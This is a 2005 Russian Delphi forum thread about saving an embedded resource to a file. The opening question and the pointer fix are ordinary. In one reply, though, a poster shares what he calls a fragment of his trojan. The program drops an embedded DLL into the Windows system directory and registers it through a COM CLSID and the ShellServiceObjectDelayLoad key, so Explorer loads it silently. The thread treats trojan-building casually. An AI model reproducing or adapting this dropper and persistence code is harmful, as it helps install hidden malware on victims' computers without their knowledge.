Главная страница
Top.Mail.Ru    Яндекс.Метрика
Текущий архив: 2005.06.14;
Скачать: CL | DM;

Вниз

Как сохранить ресурс в файл?   Найти похожие ветки 

 
lpVoid ©   (2005-04-21 13:56) [0]

Написал вот такой код. Ресурс находится, в память загружается, а вот WriteFile ругается что буфер неправильный. Ошибка такая: ERROR_INVALID_USER_BUFFER = 1784


 hFile:=CreateFile(PChar(FileName), GENERIC_WRITE, 0, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
 hRes:=FindResource(0, "DATA", RT_RCDATA);
 szRes:=SizeOfResource(0, hRes);
 hResMem:=LoadResource(0, hRes);
 pBuffer:=LockResource(hResMem);
 WriteFile(hFile, pBuffer, szRes, WriteCount, 0);
 CloseHandle(hSrcFile);


 
mgcr ©   (2005-04-21 14:56) [1]

WriteFile(hFile, pBuffer^, szRes, WriteCount, 0);


 
Dot   (2005-04-21 15:16) [2]

а не подскажете типы данных?
то есть можно тот кусок кода где VAR увидеть?


 
lpVoid ©   (2005-04-21 16:22) [3]

Спасибо, mgcr. Стормозил я чего-то.


 
lock95   (2005-04-22 20:51) [4]

Маленький пример как ресурс сохранит и выгрузить (уолюсь фрагмент моего троянчика)   ;)

program Project1;

uses
  Windows, SysUtils, Classes, Registry;

{$R sheldll.RES}//наш ресурс

var
MyDll1: TResourceStream;
reg:TRegistry;
szPath: array [0..MAX_PATH -1] of Char;
Sysdir:string;

begin

 GetSystemDirectory(szPath, MAX_PATH); //узнаемпуть к системной дирректории
 Sysdir:=StrPas(szPath)+"\sheldll.dll";   //   преобразуем в стр + \sheldll.dll

     MyDll1:=TResourceStream.Create(hInstance, "MYDLL", RT_RCDATA);
   try
   MyDll1.SaveToFile(Sysdir);
  // Finally
    except          //пуска не глючит
     MyDll1.Free;
  end; {try}

   reg:=Tregistry.create;
   reg.rootkey:=HKEY_CLASSES_ROOT;
 try
   reg.openkey ("CLSID\{69502F20-E8CD-11D5-A784-0050BF44BD3B}\InProcServer32", true);
   reg.writestring("",Sysdir);
   reg.closekey;
   reg.rootkey:=HKEY_LOCAL_MACHINE;
   reg.openkey("Software\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad", true);
   reg.writestring("MyDllLoade","{69502F20-E8CD-11D5-A784-0050BF44BD3B}");
   reg.closekey;
 finally
   reg.free;
 end; {try}

end.


 
lpVoid ©   (2005-04-22 23:17) [5]

Так конечно проще, но для троянчика это жирновато будет, меньше 150кб никак. :)



Страницы: 1 вся ветка

Текущий архив: 2005.06.14;
Скачать: CL | DM;

Наверх




Память: 0.48 MB
Время: 0.025 c
1-1117524140
Mars
2005-05-31 11:22
2005.06.14
Как закрыть все окна приложения?


8-1109687099
B-boy Dimo-N
2005-03-01 17:24
2005.06.14
Как вместо простого фона обычного окна сделать картинку ?


3-1115333334
rosl
2005-05-06 02:48
2005.06.14
tree


14-1116865805
Андрей Жук
2005-05-23 20:30
2005.06.14
Может мне кто-нибуть объяснить,


3-1115260087
Fedia
2005-05-05 06:28
2005.06.14
Запись массива байт в поле таблицы БД